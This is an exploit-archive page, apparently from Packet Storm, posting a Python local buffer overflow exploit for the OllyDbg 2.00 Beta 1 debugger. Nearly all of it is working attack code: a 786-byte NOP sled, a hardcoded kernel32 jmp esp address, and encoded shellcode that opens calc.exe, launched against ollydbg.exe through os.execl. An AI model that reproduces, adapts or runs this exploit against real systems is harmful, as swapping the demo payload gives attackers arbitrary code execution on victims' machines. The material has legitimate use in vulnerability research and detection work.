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OllyDbg 2.00 Beta 1 Buffer Overflow

🗓️ 16 Feb 2010 00:00:00Reported by SuBz3r0Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

OllyDbg 2.00 Beta 1 Buffer Overflow exploi

Code
`  
  
Hi,  
  
it is possible to overflow ollydbg2 in order to execute an arbitrairy code.  
Have a quick look below.  
Bye  
  
# Exploit Title: [Ollydbg 2.00 Beta1 Local Buffer Overflow Exploit]  
# Date: [2010-02-15]  
# Author: [_SuBz3r0_]  
# Software Link: [http://www.ollydbg.de/version2.html]  
# Version: [2.00 Beta 1]  
# Tested on: [XP SP3]  
# CVE : [if exists]  
# Code :  
#Ollydbg2 v2.00 beta1 Exploit in Python  
print ""  
print "##############################################"  
print "# _SuBz3r0_ #"  
print "##############################################"  
print ""  
print "Ollydbg v2.00 beta 1 local overflow Exploit"  
print "Just For Fun"  
print "exploit = [NOP] + [jmp ESP] + [SH3LLC0DE]"  
print "Shellcode = calc.exe"  
print ""  
print "Greetz:piloo le canari & MaX"  
print "Tested on: French Windows Xp Sp3 fully Patched"  
print ""  
  
import os  
import sys  
  
#path to ollydbg.exe  
program = 'c:\\ollydbg.exe'  
  
#exploit = [NOP] + [jmp ESP] + [SH3LLC0DE]  
#overflow =786*'\x90'  
#eip = "\x13\x44\x87\x7c" : kernel32.dll jmp esp  
#Shellcode pop up calc.exe  
exploit =786*'\x90'+'\x13'+'\x44'+'\x87'+'\x7c'+''.join([  
'\xb4\x31\xf8\x2d\x84\xe3\x04\x35\xb8\x3c\x14\x46\x34\x48',  
'\x67\xfc\x31\xc9\x83\xe9\xe2\xe8\xff\xff\xff\xff\xc0\x5e',  
'\x81\x76\x0e\x03\xf9\xd8\x37\x83\xee\xfc\xe2\xf4\xff\x11',  
'\x9c\x37\x03\xf9\x53\x72\x3f\x72\xa4\x32\x7b\xf8\x37\xbc',  
'\x4c\xe1\x53\x68\x23\xf8\x33\x7e\x88\xcd\x53\x36\xed\xc8',  
'\x18\xae\xaf\x7d\x18\x43\x04\x38\x12\x3a\x02\x3b\x33\xc3',  
'\x38\xad\xfc\x33\x76\x1c\x53\x68\x27\xf8\x33\x51\x88\xf5',  
'\x93\xbc\x5c\xe5\xd9\xdc\x88\xe5\x53\x36\xe8\x70\x84\x13',  
'\x07\x3a\x87\x06\xf5\x99\x8e\x53\x88\xbf\xe8\xbc\x43\xf5',  
'\x53\x47\x1f\x54\x53\x5f\x0b\x70\x20\xb4\xc3\x93\x88\x5f',  
'\xf3\x73\xdc\x68\x6b\x61\x26\xbd\x0d\xae\x27\xd0\x60\x98',  
'\xb4\x54\x03\xf9\xd8\x37'])  
  
print ""  
os.execl(program,program,program,exploit)  
  
  
  
`

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